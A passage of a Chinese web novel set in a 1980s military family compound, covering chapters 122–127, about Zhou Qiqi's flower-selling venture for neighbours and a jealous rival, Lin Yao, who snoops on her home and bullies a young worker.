周柒柒眼珠子又转了转,忽然有了主意,“那要是...我找个人帮你卖呢?” 第122章 咋看咋得劲儿! 王大嫂眼睛一亮,嗓门儿都高了八度。 “那敢情好!要是谁能帮我把花卖成钱,我愿意分她一半!” 反正她家院子里的花疯长得没边儿,不卖也是在墙根儿底下开败了。 可她到底心里打鼓,搓着衣角追问。 “不过你说的那人是谁啊?是咱家属院的嫂子不?靠得住不?” 周柒柒伸手拍了拍她手背,温声应道。 “虽不是咱院里的人,但我敢打包票,那人品性绝对错不了。不过这事儿我得先去问问,看人家愿不愿意搭把手。” 王大嫂乐得合不拢嘴,当场就催起来。 “成成成!你可赶紧给我回信儿,要是能成,我麻溜儿去多搜罗点瓦盆,把家里那些爆了盆的吊兰全分一分。” 周柒柒这会儿也没事儿,送走了两人,索性又去了电话室一趟。 这会儿正是农忙的时候,赵大姐除了一大早帮着送羊奶,其他时间都在地里忙活。 听得广播室大喇叭扯着嗓子喊她接电话,她扛着锄头紧赶慢赶,气喘吁吁地在几分钟内抄起了听筒。 周柒柒三言两语把卖花的事儿说了,末了还加一句。 “你要是地里的活儿多,就算了,这生意还不知赚不赚钱呢,不能因为这个耽误了秋收。” 电话那头传来窸窸窣窣的声响,赵大姐粗糙的手掌抹了把额角的汗珠,猛地点头。 “愿意!咋能不愿意呢!我地里的活儿我早就干完了,这两天忙,是在别人地里帮忙呢!” 周柒柒吃了一惊,“这么快就干完了?” “是啊,去年村里分地前,我男人正好没了,公公又头脑不清楚,孤儿寡母的,没分到多少地。” 赵大姐声音低了些。 村里为了集体的利益,是按劳动力分配的,她家满打满算就她一个劳动力,又是个外姓人,分到那点地根本不够一家人糊口的。 所以她才会做拉驴车的生意。 眼下给人帮工,也是指望着秋后能分点粮食。 只是各家都过得紧巴,能匀给她的实在有限。 “要是能做生意,我铁定乐意!” 赵大姐向来爽利,此刻却忍不住吸了吸鼻子。 “柒柒,让你替我操心了。” “说哪儿去了。” 赵大姐人好,周柒柒早想着帮帮她。 先前问过她要不要摆摊,可她家穷得叮当响,做饭手艺也一般,卖吃食肯定不成; 卖衣裳吧,她一个农村妇女,哪儿懂啥时髦样式。 正犯愁呢,这机会就来了。 两人敲定了,赵大姐明儿就到军属区来,跟王大嫂合计怎么倒腾花草。 挂电话前,周柒柒又叮嘱,“你先卖花练练手,保不齐往后能派上大用场呢!” 赵大姐在那头直点头,嗓子眼里像堵了棉花。 “成!我一定尽我最大努力!不给你丢人!” 两人在这边说得高兴。 而另外一边,卫生所里,邱春芳也正攥着林瑶的胳膊直晃悠。 “你这屋子里还啥都没有呢,冷锅冷灶的,饭都吃不成,中午上姑妈家吃饭去!咱们可是实在亲戚,以后得多走动走动!” 邱春芳那家林瑶去过一次,闭上眼睛就能感觉到嘴里含了个臭脚丫子,绝对不想再去第二次了。 她含糊道,“改天吧,我今儿还得去后勤处报到呢。” 昨晚她到得晚,后勤处先给了些日用品,还没正式办手续。 邱春芳撇着嘴直摇头。 “那可真不巧!你还不知道吧?周柒柒家就在我家隔壁!我还想拉着你去瞅瞅她犯晕的好笑样儿呢!” 林瑶本来都转身要走了,听她这么一说,又转了回来。 “姑妈这么热情,那我就去一趟,报到下午去也不迟。” 说罢她转身回屋,从行李箱里翻出一身新衣裳,抻了抻衣襟,对着镜子左右转了两圈。 邱春芳瞅得直咋舌,竖了大拇指。 “啧啧,真鲜亮!这红衬衫、绿裙子,咋看咋得劲儿!到底是城里姑娘,就是比咱大院儿里的洋气!” “这衬衫是友谊商店买的,裙子是我哥托人从港市带回来的。” 林瑶抻着裙摆,心里憋着股劲儿。 上次在军区医院,没打扮,输给了周柒柒,这回可得好好扳回来! 两人一路走过去,林瑶看着这鸟不拉屎,啥商店都没有的地方,怎么看怎么觉得烦。 邱春芳却一路念叨着周柒柒被人笑话的事儿,脚不沾地地往前带。 走到筒子楼跟前,林瑶正捏着鼻尖想往里钻,邱春芳一把拽住她。 “哎哎,走错啦!咱们家在那边——” 她手指向不远处一排排小院。 林瑶愣了神,“你男人不是营长吗?也能住小院?” 一提这事儿,邱春芳腰杆儿都挺得笔直,摇头晃脑地显摆。 “这不是家里孩子多,情况特殊嘛,老首长特批的!你姑父在部队里受器重着呢,前途无量!上次去你家,你爸妈还不信,你回头可得跟他们说说......” 她在这儿说得唾沫横飞,林瑶却一个字没听进去,脸色沉得能滴出水来。 “你家住小院,那沈淮川和周柒柒......也住小院?” 前两年她来的时候,沈淮川家不还是筒子楼吗? 比她现在住的卫生所宿舍还差劲儿,咋这会儿就住上小院了? 这突然起来起来的情况,让她心里有些堵得慌。 邱春芳没瞅见她难看的脸色,只管拽着她往院里走。 “可不是嘛!左边那户是我家,中间门开着的就是他们家,走走走,别在外头站着,我特意从你姑父办公室顺了罐茶叶,你尝尝鲜!” 林瑶不情不愿地被她拉着进了院子,里里外外转了一圈。 院子里灰扑扑的,就一棵落光了叶子的枯树,屋子里也就是几间砖房,没厕所也没洗澡间,后院有块菜地。 她撇了撇嘴,这地方虽比筒子楼宽敞,却跟乡下没啥差别,比她家城里的二层小楼差远了,心里顿时平衡了不少。 忽见墙边靠着个旧梯子,漆都掉光了,林瑶心念一动,提起裙摆就爬了上去,朝着周柒柒家的院子探过头去。 第123章 酸水直冒 军属区的小院都是部队统一盖的砖房,打外头瞅着,青瓦白墙的模样都差不离。 林瑶以为,周柒柒家估摸着也和邱春芳家一样,就是个农村样儿,嘴角忍不住往上翘了翘,笑得有点得意。 可没想到,这一探头过去—— 这儿却仿佛和邱春芳家不是一个世界似的。 院子当央立着棵老高的银杏树,叶子让日头晒得金晃晃的,风一吹就跟撒了把碎金子似的将整个院子都染成了暖色调,金黄色的落叶被扫到了青石板小径的两边。 树荫底下,那几间砖房看着还是老样子,可房根儿下新圈了一圈花圃,虽说花苗才刚栽上,稀稀拉拉的没长开,可嫩绿色的芽儿看着就透着股子精神气,保准过些日子就能开得热闹。 院子里收拾得那叫一个利落,就西侧码着一堆蜂窝煤,都摞得跟豆腐块似的,棱是棱,角是角的。 林瑶伸长了脖子瞅了又瞅,心里头那点得意劲儿跟被针扎了的气球似的,慢慢就瘪了。 这哪儿像乡下院子啊?比她家在城里住的小院还好看呢! “这...这是周柒柒家?别是搞错了吧。” 还是她早上没吃东西,饿得眼睛花了? 邱春芳烧水去了,这家里一时半会也没人问。 林瑶猫着腰往隔壁院子里瞧了几眼,见里头静悄悄的,连个人动静都没有,干脆顺着梯子溜下来,轻手轻脚地就钻进了人家院门。 隔着墙头看还不觉得,这一进院子,鼻尖就飘来股若有似无的花香。 再凑近了看,那砖房的玻璃窗擦得锃亮,不像邱春芳家蒙着层灰,窗台上还挂着块花色鲜亮的碎花窗帘,跟院儿里的花圃一映衬,看着别提多洋气了。 林瑶站在门口,牙帮子都快咬碎了,可嘴上还硬撑着。 “再好看能咋的?净整这些花里胡哨不顶用的玩意儿。” 还不是没厕所,没洗澡间,跟她家城里的二层小别墅更是没法儿... 正想着呢,忽然从后院窜出来一个十七八岁的小伙子。 林瑶吓了一跳,还以为是沈淮川和周柒柒呢。 结果一瞅,是个浑身都是土,黑黢黢就剩一口白牙的小伙子,不由皱眉往后退了两步。 “你干啥呢?冒冒失失的,吓我一跳!懂不懂礼貌!” 她叉着腰就数落开了。 那小伙子让她这架势吓得一哆嗦,赶紧挠了挠头赔不是,“对不住,吓着你了。” 他挠了挠头,赶紧补救。 “这位嫂子,你是找主家吧?沈团长和石头哥在后头地窖里,周姐姐刚出去了,要不要我帮你叫一下?” 林瑶一听他光叫自己嫂子,管周柒柒叫姐姐,脸瞬间就拉下来了。 “谁是你嫂子?咋称呼人呢?我有那么老吗?乡下人就是没眼力见!” 这话跟针扎似的,小伙子脸涨得通红,半天没敢吱声,生怕再说错话惹她生气。 林瑶捂着鼻子瞅着他身上的汗臭味,撇着嘴问。 “你是农民工吧?来干啥的?咋一身臭味?你是盖厕所的?” 她本意是奚落人家,却没想到小伙子有些拘谨地指了指屋子后头新盖的两间。 “家里厕所和洗澡间上次都盖好了啊,差不多一个月了吧,就在那边呢,肯定不是来盖厕所的啊。” “啥?” 林瑶眼睛瞪得溜圆,小伙子一提起这事儿就来劲儿,咧着嘴笑。 “是我和我师傅来盖的,可大可好了!连着屋子还方便!” 他见林瑶不说话,一味盯着看,还以为是感兴趣呢,赶紧又介绍道。 “而且厕所结构可好了,连着管道一冲,家里一点味儿都没有!洗澡间的花洒啥的也是现在首都那边最新的款式,一般人都买不到呢,都是我师傅帮着给联系的!所以沈团长这次又叫我们挖地窖,搭凉亭还有葡萄架!” 凉亭,葡萄架? 林瑶更是傻眼了,这两样她家都没有呢! 怎么全让周柒柒享受上了? 她居然过得这么好??? 她拳头攥得老紧,肚子里的酸水一股一股地往上冒,怎么看怎么不得劲儿。 偏偏小伙儿瞧不出高低来,还在旁边卖力说着好话。 “嫂...啊不,姐姐,你家如果有活儿的话也可以叫我们,你们军嫂我师傅都给最低价的!这是我们师傅地址,你拿着...” 说着便是从口袋里掏出一张皱巴巴的纸递了过去。 这个举动无疑是火上浇油,这一刻,林瑶把心里的火气全都发到了无辜小伙子的身上。 翻了个白眼,扬起手腕狠狠推开了小伙儿。 “去去去!谁让你干活了?你瞅瞅你身上这灰,把我新衣服弄脏了你赔得起吗?一点眼力见都没有!” 小伙子本就弯着腰想递纸条,冷不丁被她这么一推,“哎哟”一声摔了个屁股墩儿,头上的安全帽骨碌碌滚到了林瑶脚边,正好蹭上她新买的皮鞋。 林瑶一看鞋上沾了土,抬脚就想踢安全帽,小伙子急得喊了声“别”,可压根没来得及。 就在这时候,门口传来个清亮的声音:“林瑶!住手!” 是周柒柒回来了!林瑶吓得一哆嗦,赶紧回头。 小伙子趁机爬过去捡起安全帽,小心翼翼地拍着上面的土。 周柒柒三两步走到跟前,眼神在两人身上扫了一圈,直勾勾地盯着林瑶。 “你在这儿干啥呢?欺负我家工人师傅?” 林瑶梗着脖子指了指自己的鞋。 “我咋欺负他了?是他自己脏兮兮的往我跟前凑……” 周柒柒冷笑一声。 “往你跟前凑?这是我家院子,他在这儿干活天经地义。倒是你,不打招呼就闯进来,难不成是想偷东西?” “我偷东西?” 林瑶昂着头,“我怎么可能上你家来偷东西?我一个大学毕业的医学生,犯得着到你这儿来偷东西吗?” 周柒柒嗤笑一声。 “哦?原来大学里是这么教的,别人家院门开着,可以随便进?” 林瑶被她气得脸色通红,“你这乡下丫头真是牙尖嘴利,你又没读过书,哪里配说大学的事儿!” 周柒柒和邱春芳、李红娟都当骂过架,但没有一个像林瑶这么无耻的,无理都能搅三分。 但她气势上却也丝毫不输,双手抱胸,上上下下地打量了林瑶一番。 “我是乡下丫头没错,可我行得正,坐得端,倒是你,一个城里的医生,病人的隐私都能随便乱传,跟乡下那些没见识的长舌妇有什么区别?!医生手册里就是这么写的?还是省军区医院就是这么教的?” 这话戳中了林瑶的痛处,她眼神有些躲闪。 “你哪只耳朵听到是我传的?当时里面有赵营长,外头也还有别人呢!” 周柒柒往前逼近一步,眼睛直勾勾地盯着她。 “是不是你,你我心里都清楚!别以为做了亏心事就能瞒过去!” 第124章 给她添点堵! “你...” 林瑶被逼得脚跟蹭着地面往后退,嘴唇哆嗦着半天没蹦出个字,黑眼珠滴溜溜转了好几圈,才结结巴巴地开了口。 “你自个儿在院子里名声不好,可别往我头上赖!我嘴皮子说不过你,我走还不成吗?” 她边说边退,眼瞅着就挪到门边了,没留意门边上横着根圆木横梁。 脚上那双带跟的小皮鞋底儿一滑,脚脖子一崴,“哎哟”一声就墩在了地上,裙摆掀起来老高,比刚才那工人小伙儿摔得还狼狈。 那小伙儿这会儿已经从地上爬起来了,看到这一幕,背过身去,捂着嘴直乐。 林瑶气得脸煞白,哆嗦着嘴唇说不出话,慌忙爬起来踉跄着钻回了隔壁。 周柒柒眼皮都没撩她一下,转头看向工人小伙儿。 “师傅,没啥事吧?这是咋回事啊?” “没事没事,” 小伙儿边说边抖落裤腿上的土,刚想笑又想起林瑶的话,生怕土沫子飘到周柒柒身上,手伸到一半又赶紧收了回来,局促地直搓衣角。 “刚才我出来运料,一推门就撞见她了。我还当是大院里的军嫂来唠嗑呢,就多说了两句,也不知哪句话惹着她了...” 这孩子也就跟秦磊差不多,十六七岁的样子,虽然是农村孩子,但是干活挺卖力的,也有上进心。 周柒柒瞧着他拘谨的样儿心里不落忍,上前拍了拍他肩膀,指尖隔着洗得发白的工装布料。 “别往心里去,我可不嫌你脏,你去那边洗把脸,绿脸盆和毛巾都是新的,专门给你们准备的,敞开用。” 等他洗完,周柒柒又从屋里给他拿了个红扑扑的苹果,让他歇一会儿,吃完再去干活,还安慰道。 “她那些浑话你别往耳朵里去,咱乡下孩子没念多少书,但只要肯下力气,将来前程不比大学生差。” 她说的这话绝对没毛病。 现在华国正是改革开放的时候,遍地都是机会,这孩子跟着师傅好好学,将来不说飞黄腾达,混个吃喝不愁绝对没问题。 不说别的,反正绝对比林瑶那种上了个大学,啥本事没学上,只会靠关系的人强。 小伙儿听了这话,眼里蹭得冒了光。 他“咔嚓”咬了口苹果,拍着胸脯说。 “谢谢周姐姐!我肯定好好干!前程啥的我不懂,但我想给俺爹妈盖个像你们家这样的房子,有自个儿的厕所,院里全是花花草草!” 周柒柒笑着点了点头,“成!我看好你!” 小伙儿挠了挠头,又凑近问。 “周姐姐,我现在干得多,一个月能挣二十多块呢。你说俺得攒多久,才能置下这样的家?” “这个嘛...” 这个有点难到周柒柒了,她怕打击到孩子,只得把问题抛给了别人。 “姐姐我不是专门干这个的,这个问题你问你师傅吧,他肯定知道。” 说着她又转移了话题,“对了,你说你一个月能有二十几块钱呢?” 她记得许树也是一样在外头跟着建筑队的师傅做临时工,当时他写信回来说,一个月就七八块钱。 除去吃喝剩不下俩钱,所以一直没给家里寄钱来着。 介于这个情况,当时她跟许树要了一百块嫁妆钱,差不多是他一年的工资了。 现在想想,这是要得太少了? 正琢磨着呢,小伙儿又开了口,脸上有些得意。 “二十几块,是我干活干得勤快,一天都没歇着,我们村有个懒汉,也跟着我师傅,但是他干十天,就要歇半个月的,一个月也就只挣个七八块钱。” 这下就破案了—— 瞧瞧许树那油头粉面的样儿,怕是跟那懒汉一个德行,才挣得少。 也正因如此,他才会选择甩了原身,傍上林瑶这个“富婆”。 这么一想,林瑶也挺“可怜”。 为了许树那个烂白菜,放弃了沈淮川这个负责任的好男人,放弃眼前的好生活。 要知道,眼前的小院儿,是她上辈子梦寐以求都求不到的啊。 她在心中感慨,可一墙之隔的林瑶却并不这么想。 听着邱春芳说—— “她周柒柒神气个啥劲儿?她现在占着的东西,本该都是瑶瑶你的!不过是捡了个便宜,还敢跟你耍威风!” 她立马就撇了撇嘴回道。 “我才不稀罕呢!不就是房子嘛,以后我啥都有!我才不羡慕她那些东西,更不会为了那些东西,逼自己嫁给一个大冰块!既不温柔又不体贴,整天冷着个脸,说不定还是个...” 她怀疑沈淮川是个性冷淡,但到底没好意思直接说出口。 在她眼里,沈淮川哪儿都比不上许树。 也就只能给她安排个工作,上学时托家里寄俩钱。 别说甜言蜜语了,连个好脸色都难得给。 哪儿像许树,看她的眼神跟带了钩子似的,把她宠得像个宝。 她脑袋里闪过许树那双有魔力的大手和深情的眼眸,她脸颊腾地一下就红了,指尖无意识地蹭着后腰往下摸。 邱春芳瞅见她这副模样,纳闷儿地问。 “瑶瑶,你咋了?是气糊涂了,还是屁股痒了?” 林瑶眉头立马就皱了起来,“你说话能别这么粗俗吗?啥叫屁股痒了?” 邱春芳忙不迭拍了下自己的嘴。 “唉,还不是让周柒柒给气的!你是不知道,她来家属院才一个多月,闹得鸡飞狗跳的,没少给我气受!” 林瑶来了兴趣。 “是吗?我瞅着她就不是啥好相处的。” 邱春芳连连点头。 “不是!不光是我,后勤处长媳妇、洪营长家的...好几个都跟她闹过别扭!” “她在家属院里横成这样,就没人能管管她?” “我们都不敢啊,沈团长可是政委面前的红人,咱们军区,也就周主任能稍微管管,说上她两句,周主任眼睛亮着呢,也和咱们一样,看不上她周柒柒!” “周主任?” 邱春芳这话一下子点醒了林瑶。 这位周主任她两年前就见过,对她挺热情的,上个月还往省军区医院打过电话找她。 但是她当时忙着和许树约会呢,也就没接上。 待会儿她去后勤处报道,应该能见上周主任。 到时候她非要告上周柒柒一桩,给她添点堵! 省得她那么得意! 第125章 偏心,爸爸偏心! 为了招待林瑶,邱春芳今儿特意熬了鸡蛋酱卤子,又从柜子深处摸出半罐午餐肉,切成薄片码在面条上。 他们家人口多,碗里能见着荤腥儿就算体面,何况是鸡蛋酱拌面条配午餐肉,已是顶顶隆重的待客饭食了。 可林瑶哪儿瞧得上这个? 她平时下国营饭店,俩人能点四个菜,这会儿瞅着碗里混着肥肉丁的午餐肉,黑黢黢的鸡蛋酱裹着面条。 再瞄见三个小不点儿直勾勾盯着她碗里的眼神,眉头就没松开过。 偏生隔壁院儿饭点前飘来一股子浓鸡汤味儿,隔堵墙都能听见张大嗓门喊。 “柒柒,我在集市上买了只老母鸡,切了一半炖了给你补补!” 林瑶拿筷子拨拉两下碗里的面条,撇着嘴小声嘟囔,“跟泔水似的。” 说完“啪”得撂下筷子,“不吃了,没胃口,我先走了。” “哎,瑶瑶,别走啊,你想吃啥你说,我给你...” 邱春芳话没说完,就见林瑶推门出去,头也不回地走了。 赵毅当兵耳朵尖,早听见那句嘟囔,当着人面没作声,等林瑶走远了,脸色沉得能滴出水,把碗往桌上一放。 “这样的人,你巴着讨好干啥?还特意叫我中午回来,人家明摆着瞧不上咱家,这亲戚不走也罢。” 邱春芳斜睨他一眼。 “你懂个啥!瑶瑶爹娘都是城里医生,家里又有钱,跟他们处好关系,明年一萌毕业,让他们给介绍个医生对象!往后二萌三萌四萌,尤其是耀祖,这辈子都有靠头了!” 别看赵毅家的孩子个个跟小萝卜头似的,但一萌今年已经十六岁了,现在在G市念高一。 现在的高中普遍是两年制,眼瞅着明年就毕业。 赵毅眉头皱了起来。 “一萌不是想念大学吗?急着找对象干啥?” 邱春芳直撇嘴。 “女娃娃读那么多书有啥用?要不是为了说婆家体面,高中我都不想让她上!一年学费住宿费伙食费七八十块,快赶上你一个月津贴了,心疼死我了都!” 赵毅还想坚持。 “大学生多金贵啊,一萌成绩好,考上大学找个铁饭碗挣工资,不比伸手跟男人要钱强?” 邱春芳“啪”地把筷子拍桌上。 “考上了不得花钱,你供她啊?就为了她一个人,家里这么多人不吃饭了?你爹妈的病不看了?” 赵毅嘴巴动了动,话都到嘴边了,但还是硬生生收了回去,变成了一句。 “行了,先吃饭。” 他这话跟圣旨似的,桌边坐着的三萌四萌俩丫头片子眼睛都亮了,可没去端自己的碗,而是伸筷子去夹林瑶碗里的午餐肉。 她们碗里只有小小薄薄的一片,但是林瑶的碗里足足有三片呢。 只是两人的筷子刚到碗边,就被邱春芳给瞪回去了。 “咋那么馋呢?自己碗里不都有吗?” 说着她便是把林瑶那碗面给端起来了。 “你们弟弟正长身体呢,这肉给他吃,你俩分点鸡蛋酱吃,那也香着呢!比午餐肉有营养!” 三片肉,两片给了正呼噜呼噜吃面,弄得满脸都是鸡蛋酱的赵耀祖。 另外一片给了下午还要去上班的赵毅。 赵毅本来碗里就有两片,吃了一片还剩下一片,见两丫头馋得直吧嗒嘴,心里不是滋味,给她俩各夹了一片。 赵耀祖碗里本来就有三片,加上这两片,就有五片了。 但他看着爸爸居然只给两个姐姐夹,不给他夹,顿时就不乐意了,屁股往地上一坐,扯开嗓子就嚎。 “偏心,爸爸偏心!!” ...... 相比起这儿的吵闹,雷政委家那边单独的院子就要安静多了。 吃完饭,雷政委念叨着让周淑华赶紧睡会儿。 他的呼噜声起来了,周淑华却是有点睡不着。 趁着雷政委睡着,偷偷摸摸地摸了他腰间的钥匙,打开书桌抽屉,拿出了那张磨得边角发毛的照片,指尖轻轻摩挲着。 然后又轻手轻脚地去了外头客厅,拿起听筒,给铁路公安那边打了电话。 雷鸣从没有午休的习惯,却隔了半晌,磨磨蹭蹭地才来接电话。 听着熟悉的声音,周淑华一直耷拉的嘴角总算往上翘了翘。 “鸣鸣,啥时候回来?算日子你这两天该轮休了吧?” “大伯娘,最近火车上小偷多,单位组织严打,得加班呢!” “上次轮休你就加班,怎么这次还加班,你也不是铁打呢,总这么加班也不成啊!” “过几天,过几天休息我一定回来!先不说了,我赶着去值班呢!大伯娘,你挂吧。” 周淑华嘴上应着“快去忙”,握着听筒的手指节都发白了。 冷不丁听见那头传来咋呼声,“雷鸣!快点儿,打篮球就差你了!” 再想问啥,听筒里只剩"嘟嘟"声。 周淑华哪里不明白,雷鸣这哪儿是要加班啊,分明是不想回来! 上次说去沈淮川家吃过一顿饭后,这孩子就整整闷闷不乐的,自那之后,就没再回来过了。 这是还没忘了周柒柒那个狐狸精呢! 这样的女人,居然是她们军属区的军嫂,真是败坏风气。 要是沈淮川娶的是林瑶就好了。 周淑华心里揣着气呢,下午去军区办公室的时候,没等林瑶瞅见她,她就远远瞅见林瑶了。 一开始还以为是自己看错了呢,直到林瑶眼泪摩挲地冲着她走过来,亲热地喊着“周主任”,这才确定,林瑶真的出现在了她的眼前。 她赶忙把林瑶带进了自己的办公室。 “你这孩子,怎么前头一直联系不上你呢?打了好几个电话,让你给我回过来,你也一直没回。” “那个...” 这不是前头以为自己永远不会和军区有啥关系了嘛。 林瑶眼神闪烁了两下,咽了口唾沫。 “前段时间我和淮川哥的事儿不是吹了吗,我感觉辜负了您的期望,就没好意思接你的电话。” 第126章 整得跟大买卖似的 周淑华攥着林瑶的手,眉头紧皱。 “傻孩子,你和淮川,到底咋回事啊?你俩不是从小订的娃娃亲嘛,怎么好端端的,他就和别人结婚了?这里面是不是有啥问题啊?” 这话她在心里盘桓了多少天,自打沈淮川交上结婚报告那天起,就跟根刺似的扎着。 可林瑶电话不接,人也见不着,急得她嘴上都起了燎泡。 对于这个问题,林瑶倒是早就想好了,她眼眶泛红,把自己那天撞见的事儿一五一十地说了出来。 “这个,我也不是很清楚,反正等我看到的时候,就那样了...” 她咬着嘴唇,声音发颤。 “应该是走错房间了啥的,反正沈淮川是没穿衣裳,实打实的,把她抱在怀里了,两个人动作可亲密了。” “当时省军区医院很多实习医生和护士在那儿开会,都瞅见了,那种情况,我要是再和沈淮川结婚,估计要被人笑话一辈子了,周柒柒那个未婚夫也不要她了,所以我们就商量着退婚了,让沈淮川对周柒柒负责。” 周淑华听得眉头皱得更深,作为念过大学的人,她也是有理智的,总觉得这事儿透着股蹊跷劲儿。 “这事儿也太离谱了?咋就能走错房间呢?” “说是宾馆走廊的灯坏了,黑灯瞎火看错门了呗。” 林瑶心里咯噔一下,悄悄拿指甲掐了把大腿根,眼泪唰地就涌上来了,扑进周淑华怀里哭的肩膀一抽一抽的。 “反正事儿都这样了,再说啥也没用了......” 周淑华瞧着小姑娘哭得肝肠寸断,心里那点疑虑全化成了心疼,轻轻拍着她后背。 “好孩子,都是淮川和那个周柒柒的错,是她们对不起你。” 林瑶趁机抹了把眼泪,说起今早的委屈。 “这些就都算了,今天早上,我好心去看她,想了解一下她的身体情况,还疼不疼了,谁知道还没问呢,她就倒打一耙,污蔑我是去偷东西的,对着我耍了好一通威风!” 不知道为什么,周淑华一瞅见周柒柒,就莫名的感觉胸口疼,感觉可能是这丫头先天就跟她不对付。 再加上前面发生的种种,她打心眼里对周柒柒有偏见。 听见林瑶这么一说,直接就觉得是周柒柒不对。 “这周柒柒也太不知道好歹了!反了她了!你别怕!婶儿给你做主!” 可她下午得开妇联会,只能耐着性子等到第二天一早,特意叫了个站岗的新兵蛋子去传话,还千叮咛万嘱咐不能让沈淮川知道。 她可算明白了,周柒柒现在把沈淮川迷得五迷三道的,当着他的面啥也办不成,就得把人单独叫到办公室,以妇女主任的身份好好说道说道。 第二天一大早,兵哥哥找到周柒柒时,她正急急忙忙往门外赶。 听说周淑华让她过去一趟,手里的动作顿了顿,眉头也跟着皱起来。 “周主任说找我什么事儿了吗?” 兵哥哥老实巴交地摇头。 周柒柒心里盘算着,今天和赵大梅约好了去王大嫂家谈卖花的事儿,这会儿已经耽搁不少时间了,赵大姐肯定等急了。 周淑华又没说啥事,估摸着不要紧,跟兵哥哥说了一声。 “那你跟周主任说一声,说我今天有要紧事儿,暂时过不去,明天再去。” 她草草交代完,就小跑着去西门口接赵大梅,两人一道往王大嫂家赶。 王大嫂早就候在门口,瞧见人来了,热情地把她们迎进屋,又忙着倒茶。 赵大梅头一回见除周柒柒以外的军嫂,局促得手脚都不知道往哪儿放,生怕人家嫌弃她是农村来的。 王大嫂一眼瞅出她的不自在,嗓门一亮。 “你是前进村的?我老家也叫前进村!虽然不是一个地方,但名字都一样,也可以算是半个‘同乡’了!” 这么一句话,直接就把两个人的距离拉近了不少,打开了话匣子。 两人你一言我一语,很快就聊到了卖花的正事儿。 昨天下午得了信儿之后,王大嫂已经分了五盆吊兰,还有五盆菊花出来。 她种的都是品相好的多头小菊,这会儿正是盛花期,一盆能卖一块二到一块五。 吊兰则是要便宜点,一盆差不多是七八毛钱。 “就按昨天说的,卖出去钱了,一人一半就成。”王大嫂拍板道。 赵大梅慌忙摆手。 “那不成,这花都是你种的,盆也都是你弄的,我就出点力气,咋能要那么多?你七,我三就成。” “不不不,卖东西哪有那么容易?万一卖不出去,也费神着呢!不能让你吃这个亏!” “不成...” 两人推来让去,谁都不肯多拿。 周柒柒生怕她们争执起来,赶紧打圆场。 “行了行了,你俩别争了,直接取个中间值就成了,六四。这花毕竟是王大嫂你花了心思种的,拿六成是应该的。” 她又看向赵大梅,“赵大姐你拉着出去卖也不容易,拿四成不算多。” 两人对视一眼,都笑了,知道再争下去也没个结果,便点头应下。 “成,我俩听你的。” 商量完分成,赵大梅又认真问起养花的门道。 “人家买咱的花回去,要是两三天就死了,也不太好,得交代一下咋浇水,啥时候施肥。” 王大嫂赞许地看了她一眼,转头冲周柒柒笑道。 “怪不得你前头敢打包票,说人品性绝对错不了,确实有心。” 说着,就掰着指头,把浇水量、晒太阳的时辰掰扯得明明白白。 她说得认真,赵大梅也听得认真,举一反三地问了许多问题。 一个讲得口干舌燥,一个听得目不转睛,时不时还追问几句。 眼看着日头都快到头顶了,屋里的老太太坐不住了,撇着嘴嘟囔。 “咋还不做饭?这么点花花草草的事儿,絮絮叨叨说了一早上,折腾啥啊,照我看,根本就卖不出去,还你六,我四的,整得跟大买卖似的。” 老太太这一听就是不看好。 好在该说的也都说得差不多了,赵大梅和王大嫂约好。 “明天一大早我就过来拿花。” 周柒柒又带着赵大梅一起去了邓翠香家。 明天是礼拜六,明儿是礼拜六,邓翠香腌的辣椒酱、酱油黄瓜正好能拿出去卖,两人搭伴儿进城,也有个照应。 这俩都是爽利人,又都是周柒柒的朋友,一见面就挺亲切的,约好了明天早早就去城里。 转天一早,周柒柒虽说不进城,却也起了个大早。 沈渡舟今儿头回跟吴大师学画画,她昨儿夜里就把蜡笔、画纸装在帆布包里,还特意在包底塞了点舟舟爱吃的薄荷糖。 看着秦磊开车把两人拉走,她远远地招了招手,关了门准备再睡会儿。 家里的工程总算是完工了,她一个人在家可以好好睡会儿。 人刚到床边,院门就被人拍得啪啪响。 第127章 单独学习 “来了,来了~!” 周柒柒扯着嗓子应和,后腰还抵在床头揉了两把。 周刚才着急送舟舟出门,吃完早饭都忘了吃止痛药了,躺了一会儿,却怎么也睡不着,感觉下腹一坠一坠的,有点隐隐作痛。 这才想起来自己没吃药,想想倒水吃药,伸手摸到暖瓶才反应过来。 早上秦磊问她时,自己还拍着胸脯说水满着呢,却忘了昨晚就倒完了,这会儿暖水瓶里一滴水都没了。 她从小就有这个毛病,一有重要的事儿,就会打起十二分的精神,尽量做好一切准备,这忙起来就容易把其他一些小事儿抛到脑后。 典型的“大事不含糊,小事丢三落四”。 正准备起身去烧水,就听外头响起“砰砰”的敲门声。 她心里“咯噔”一下,生怕是舟舟落下东西,趿拉着塑料拖鞋就往门口跑。 门口还真是个小萝卜头,不过当然不是舟舟。 姜向阳喘着粗气,脑门上的刘海全黏在皮肤上,手里还攥着个铁环,踮着脚往屋里瞅。 “周阿姨,我来找舟舟玩。” “哟,真不巧,今儿舟舟去城里学画画了,得学一整天呢,晚上才回来,不能和你一起玩。” 周柒柒边说边掏出手帕,想给孩子擦擦汗,向阳小嘴一撇,腮帮子气鼓鼓的。 “城一学书法,多多学唱歌,怎么连舟舟也去画画了,都没人陪我玩了。” 他突然跺脚,嘟囔着。 “而且舟舟学画画,怎么没跟我说一声呢!我也看得懂她的口型啊,这小丫头片子,也太不仗义了!” 周柒柒戳了戳他鼻尖上的灰,故意板起脸。 “那就是你的问题咯,是不是又在学校调皮,惹她不高兴了,所以懒得理你?” 向阳挠着后脑勺,耳朵尖都红了。 “我,我只是给睡着的费老师鼻子里插了根大葱而已...” “什么?!” 周柒柒眼睛瞪得老大,想想那个画面都替费老师难受,难得对姜向阳真的板起了脸。 “你呀你,怪不得你妈总说你是混小子呢!让我说你什么好呢!你恶作剧也得有个限度,以后这种事儿可不许干了!” 姜向阳自己也有点难为情,他耷拉着脑袋,踢着门槛,“前两天,我老妈特意炖了两只老母鸡给费老师,给我攒的去年过年的压岁钱都花光了...” “我已经知道错了!” “啊?” 周柒柒本来还严肃着呢,听到这个,“噗嗤~”一声,差点笑出声来。 怪不得前天邓嫂子说起买了两只老母鸡的时候,一点儿也不心疼钱呢,合着花的是向阳的压岁钱。 那老母鸡她也吃了半只,这会儿看着向阳脸上心疼的神色,心里多少有点过意不去,转身回屋给向阳抓了一大把水果糖。 这小子最爱吃糖了,一看见糖,刚才那股子蔫蔫的劲儿一下子都没了,蹦蹦跳跳地跑远了。 “这小子,刚才那样儿不会是装的吧?” 周柒柒笑着摇头,正要关门,就见昨天那个新兵蛋子跑得气喘吁吁,军装扣子都系歪了。 